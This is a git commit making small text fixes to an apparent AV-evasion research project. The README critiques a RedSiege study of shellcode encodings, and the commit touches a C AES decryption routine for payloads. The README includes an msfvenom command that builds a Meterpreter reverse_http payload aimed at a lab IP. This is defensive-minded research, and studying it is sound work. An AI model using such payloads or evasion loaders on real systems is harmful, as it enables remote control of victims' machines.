small fixes

This commit is contained in:
Dobin Rutishauser
2025-05-21 09:59:56 +02:00
parent a6e78e494e
commit 7377ffafdd
2 changed files with 2 additions and 2 deletions
+2 -1
View File
@@ -41,6 +41,7 @@ RedSiege came to the following wrong result:
But didnt bother to question the data. There are many issues with it:
* Why are the top three Base64, UUID, and reverse hex string? Especially the later is very obscure
* No negative test (without malicious shellcode)
* Some programs are written in C, some in C#
* Some use WinAPI (AES, RC4, UUID) which are either an IOC, or may block AV emulator
@@ -66,7 +67,7 @@ I made this framework based on it to test it for myself.
Tests have been performed with einer "random" - a alphanumeric 20 byte string as "shellcode". And "metasploit"
with output of `msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f raw -o beacon.bin`.
The "tasploit" does not execute the shellcode, only decodes and prints it.
The "metasploit" does not execute the shellcode, only decodes and prints it.
Conclusion:
* The type of encoding/encryption doesnt matter
-1
View File
@@ -4,7 +4,6 @@
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
// compile: cl.exe /nologo /Tcaes.c /link /out:aes.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
HCRYPTPROV hProv;